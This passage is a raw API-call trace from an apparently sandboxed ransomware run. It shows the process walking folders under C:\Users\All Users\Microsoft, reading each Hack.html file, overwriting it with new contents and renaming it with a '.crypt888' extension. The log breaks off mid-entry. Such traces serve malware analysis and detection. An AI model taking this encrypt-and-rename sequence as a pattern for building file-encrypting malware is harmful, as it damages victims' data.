[0086.025] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.026] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.026] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.026] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.026] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.026] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.026] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.026] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.027] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.027] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.027] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.027] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.027] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.027] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.027] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.028] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.028] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.028] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.028] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.028] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.028] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0086.028] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0086.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0086.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0086.028] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x26 [0086.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0086.029] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.029] GetFileType (hFile=0x174) returned 0x1 [0086.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0086.029] GetFileType (hFile=0x174) returned 0x1 [0086.029] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0086.029] ReadFile (in: hFile=0x174, lpBuffer=0x28d3eec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x28d3eec*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0086.030] CloseHandle (hObject=0x174) returned 1 [0086.082] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x26 [0086.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0086.083] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.091] GetFileType (hFile=0x174) returned 0x1 [0086.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0086.091] GetFileType (hFile=0x174) returned 0x1 [0086.091] WriteFile (in: hFile=0x174, lpBuffer=0x2722820*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2722820*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0086.092] CloseHandle (hObject=0x174) returned 1 [0086.092] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x26 [0086.092] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2f [0086.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0086.092] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbcc65a0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbcc65a0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc482ce00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0086.092] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\hack.html.crypt888")) returned 1 [0086.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0086.093] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x27 [0086.093] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\", lpFilePart=0x0) returned 0x28 [0086.093] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0086.094] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.094] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.094] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.094] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0086.094] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0086.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0086.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0086.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0086.094] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x27 [0086.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\", lpFilePart=0x0) returned 0x28 [0086.095] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0086.095] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.096] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.096] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.096] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0086.096] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0086.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0086.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0086.096] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0086.097] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.097] GetFileType (hFile=0x174) returned 0x1 [0086.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0086.097] GetFileType (hFile=0x174) returned 0x1 [0086.097] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0086.097] ReadFile (in: hFile=0x174, lpBuffer=0x27252a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27252a4*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0086.098] CloseHandle (hObject=0x174) returned 1 [0086.171] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0086.171] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.173] GetFileType (hFile=0x174) returned 0x1 [0086.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0086.173] GetFileType (hFile=0x174) returned 0x1 [0086.173] WriteFile (in: hFile=0x174, lpBuffer=0x2773568*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2773568*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0086.174] CloseHandle (hObject=0x174) returned 1 [0086.174] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.174] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3a [0086.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0086.174] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba3ee000, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba3ee000, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4911640, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0086.174] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\assistance\\hack.html.crypt888")) returned 1 [0086.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.175] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2e [0086.175] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\", lpFilePart=0x0) returned 0x2f [0086.175] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0086.175] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.175] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.175] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.175] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.176] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0086.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.176] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2e [0086.176] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\", lpFilePart=0x0) returned 0x2f [0086.176] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0086.176] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.176] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.176] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.177] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.177] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0086.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.177] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html", lpFilePart=0x0) returned 0x38 [0086.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0086.177] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.177] GetFileType (hFile=0x174) returned 0x1 [0086.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0086.177] GetFileType (hFile=0x174) returned 0x1 [0086.177] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0086.177] ReadFile (in: hFile=0x174, lpBuffer=0x2776210, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2776210*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0086.178] CloseHandle (hObject=0x174) returned 1 [0086.192] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html", lpFilePart=0x0) returned 0x38 [0086.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0086.193] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.194] GetFileType (hFile=0x174) returned 0x1 [0086.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0086.194] GetFileType (hFile=0x174) returned 0x1 [0086.194] WriteFile (in: hFile=0x174, lpBuffer=0x27c4388*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x27c4388*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0086.195] CloseHandle (hObject=0x174) returned 1 [0086.195] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html", lpFilePart=0x0) returned 0x38 [0086.195] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html.crypt888", lpFilePart=0x0) returned 0x41 [0086.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0086.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba3ee000, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba3ee000, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc49377a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0086.195] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\hack.html.crypt888")) returned 1 [0086.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.196] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x32 [0086.196] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\", lpFilePart=0x0) returned 0x33 [0086.196] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a428 [0086.196] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.196] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.197] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.197] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.197] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0086.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.197] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x32 [0086.197] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\", lpFilePart=0x0) returned 0x33 [0086.197] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a428 [0086.197] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.197] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.198] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.198] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.198] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0086.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.198] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", lpFilePart=0x0) returned 0x3c [0086.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.198] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.198] GetFileType (hFile=0x174) returned 0x1 [0086.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.198] GetFileType (hFile=0x174) returned 0x1 [0086.198] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0086.198] ReadFile (in: hFile=0x174, lpBuffer=0x27c7188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27c7188*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0086.199] CloseHandle (hObject=0x174) returned 1 [0086.216] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", lpFilePart=0x0) returned 0x3c [0086.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.216] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.217] GetFileType (hFile=0x174) returned 0x1 [0086.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0086.217] GetFileType (hFile=0x174) returned 0x1 [0086.217] WriteFile (in: hFile=0x174, lpBuffer=0x2815308*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x2815308*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0086.218] CloseHandle (hObject=0x174) returned 1 [0086.218] GetFullPathNameW (in: lpFileName="C:\\Users\\All 